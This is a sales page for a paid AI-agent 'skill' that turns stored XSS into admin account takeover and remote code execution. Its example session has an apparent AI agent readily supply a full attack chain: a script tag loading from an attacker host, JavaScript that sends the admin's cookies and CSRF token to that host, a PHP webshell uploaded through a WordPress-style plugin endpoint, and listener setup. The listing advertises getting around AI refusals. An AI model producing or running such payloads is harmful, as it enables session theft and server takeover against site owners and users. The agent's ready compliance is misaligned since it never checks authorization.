Works with the AI tools you already use
stored xss admin bot
Convert stored XSS into admin account takeover and RCE by exploiting automated reviewer bots.
$5
stored xss admin bot
Example session with this skill installed
I found a stored XSS in a support ticket system. An admin bot views every ticket. I need a payload to steal the admin's session and escalate to RCE.
- Read your context and instructions
- Compiled the stored xss admin
- Generated the UI component
I have analyzed the support ticket sink. Since admin bots often use headless browsers with short execution windows, we will use a compact loader to pull a more complex script from your listener. This minimizes the footprint in the ticket database and ensures the full logic executes.
XSS to RCE Chain
1. The Stored Payload
Inject this into the ticket description field. It uses a compact script tag to load your primary exploit from a remote server. Replace YOUR_IP with your listener address.
<script src="http://YOUR_IP/x.js"></script>
2. The Exploit Script (x.js)
Host this file on your listener. This script performs three actions: it exfiltrates the session_id and csrf_token, then attempts to use the admin's privileges to upload a PHP webshell via the site's plugin/theme editor.
// Sync XHR is used to prevent the bot from closing the page before the request completes
function exfil(data) {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://YOUR_IP/log?d=" + btoa(document.cookie + "|" + data), false);
xhr.send();
}
try {
// 1. Grab CSRF token from a common meta tag or hidden input
var token = document.querySelector('input[name="csrf_token"]').value;
// 2. Attempt RCE via Plugin Upload (Example for WordPress-style architectures)
var formData = new FormData();
formData.append("pluginzip", new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/zip'}), "shell.zip");
formData.append("action", "upload-plugin");
formData.append("_wpnonce", token);
var uploadXhr = new XMLHttpRequest();
uploadXhr.open("POST", "/wp-admin/update.php?action=upload-plugin", false);
uploadXhr.send(formData);
exfil("Exploit sent with token: " + token);
} catch (e) {
exfil("Error: " + e.message);
}
3. Listener Setup
Run this on your attacker machine to serve the payload and catch the exfiltrated cookies.
python3 -m http.server 80
Next steps
- Monitor your server logs for the incoming GET request containing the Base64 encoded cookies.
- Verify if the
shell.zipwas successfully processed by checking the/wp-content/plugins/directory. - If the bot queue is slow, wait at least 2 minutes between payload attempts to avoid self-dos.
stored-xss-admin-bot.tsx
TSX · React component
Example file from a real run - the skill writes it into your workspace.
Connects securely to your tools. The creator never sees your data.
What you get
About this skill
The problem
Finding a stored XSS vulnerability is only half the battle. Converting that bug into a high-impact exploit like Account Takeover (ATO) or Remote Code Execution (RCE) requires bypassing bot sandboxes, handling HTML entity encoding, and managing slow-moving admin review queues.
What it does
- Identifies high-value sinks in admin-facing fields like summaries, transcripts, and rich-text previews.
- Engineers context-specific payloads for attribute, innerHTML, and script tag injections.
- Provides strategies for exfiltrating session cookies and CSRF nonces via synchronous XHR to avoid bot timeout.
- Maps privilege escalation paths from admin session access to full RCE via file uploads or config editors.
Why this beats prompting it yourself
Generic LLMs often refuse to generate exploit code or provide surface-level payloads that fail in headless browser environments. This skill provides hard-won constraints for bot queue discipline and payload durability that prevent you from burning your one chance at a callback.
Use cases
- Executing cross-site scripting attacks against headless admin bots in bug bounty programs.
- Chaining a low-impact stored XSS into a full system compromise during authorized pentests.
- Testing the efficacy of markdown renderers and rich-text sanitizers against advanced injection patterns.
Known limitations
For authorized security testing only. Requires an external listener (e.g., python http.server or Burp Collaborator) to receive exfiltrated data.
How to install
Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.
- 1
Download the ZIP
Free skills download straight away. Paid skills unlock right after purchase.
- 2
Unzip into your skills folder
Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.
- 3
Ask your agent to use it
Restart the agent if it was already running. It picks the skill up automatically - no config needed.
Skills folder by agent
Click the path to copy it. Create the folder if it does not exist yet.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill passes our trust checks below.
Security scanned
Passed our 8-point scan before listing
Fresh listing
Recently published to Agensi
30-day refund
Not a fit? Get your money back
Trust & safety
Security scanned
Verified clean 6 days ago
- Passed all security checks, Safe to install